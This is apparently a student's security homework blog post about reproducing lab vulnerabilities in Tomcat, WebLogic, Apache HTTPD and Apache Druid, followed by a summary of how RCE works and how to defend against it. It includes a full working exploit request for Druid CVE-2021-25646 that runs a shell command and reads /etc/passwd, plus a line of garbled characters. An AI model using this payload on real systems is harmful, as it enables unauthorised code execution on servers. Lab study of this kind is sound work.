第八次作业

一、1.在vps安装docker和docker-compose

二、漏洞复现

1.Tomcat7+ 弱口令 && 后台getshell漏洞

2.weblogic 弱口令/任意文件读取

ÙÐâè P°úR#ôìþVä"O¡

{AES}VDHLmpIFsxhe5+CetHjC3Du768mgXgEeInws2SytpnqhqgWkdGFks2BYtSJzE3FrrjdLjKS9w24Krv0Ong11Bogvc8rPC6HC3eqZy8X5U8/jhzgwct+ZTRgagnYCb4zy
 

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

3.Apache HTTPD 换行解析漏洞(CVE-2017-15715)

4.Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
 
{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{
 
                },
                "dimensionsSpec":{
 
                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

三、总结RCE漏洞的原理和利用条件及解决方案

1.RCE漏洞的原理:


RCE(Remote Code Execution,远程代码执行)漏洞允许攻击者在目标服务器上远程执行任意代码。这类漏洞通常源自程序未能正确验证或处理输入数据,导致攻击者能够注入并执行恶意代码。

RCE漏洞常见的触发机制包括:
1. 用户输入未被充分过滤**:应用程序未对用户输入进行严格的验证,攻击者可以通过构造恶意请求,将代码注入到应用程序中并执行。
2. 命令注入**:服务器执行系统命令时,未对传入的参数进行安全处理,攻击者可以通过在参数中嵌入恶意命令执行代码。
3. 反序列化漏洞**:不安全的对象反序列化可能导致恶意对象被执行,从而导致代码执行。
4. 文件上传漏洞**:上传可执行文件或脚本到服务器,并通过某种方式让其运行。
5. 远程服务调用漏洞**:如远程方法调用(RMI),允许攻击者通过网络传递恶意代码,并在目标机器上执行。

2.利用条件:


1. 目标存在输入点**:RCE通常依赖于能够向目标系统传递输入的功能,如表单、文件上传、HTTP请求等。
2. 缺乏有效的输入验证和过滤**:应用程序对用户输入的处理不严谨,允许恶意代码混入。
3. 目标系统具有执行代码的权限**:攻击者可以通过某种方式让恶意代码在目标系统上执行。
4. 网络访问**:攻击者需要能够通过网络与目标服务器交互。

RCE的典型利用方式:
- 构造恶意请求(如包含特定payload的HTTP请求)
- 上传并执行恶意文件(如Web Shell)
- 利用命令注入漏洞在操作系统级别执行系统命令

3.解决方案:


1. 输入验证与过滤**:在处理用户输入时,严格验证和过滤输入,防止恶意代码注入。应使用白名单验证模式,对输入的类型、长度和格式进行检查。
2. 最小权限原则**:应用程序应按照最小权限原则运行,限制进程或应用执行不必要的命令或代码。
3. 参数化查询**:在执行SQL或系统命令时,使用参数化查询避免命令注入漏洞。
4. 更新与补丁**:及时更新软件和系统补丁,修复已知的安全漏洞。
5. 使用安全库和框架**:选择安全性较高的库和框架,并利用它们提供的防护措施,如自动编码、过滤等。
6. 沙箱机制**:将不受信任的代码执行限制在受控的环境中(如容器、虚拟机或沙箱),以降低RCE的影响。
7. 反序列化防护**:避免对不受信任的数据进行反序列化操作,或者在反序列化前进行安全检查。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值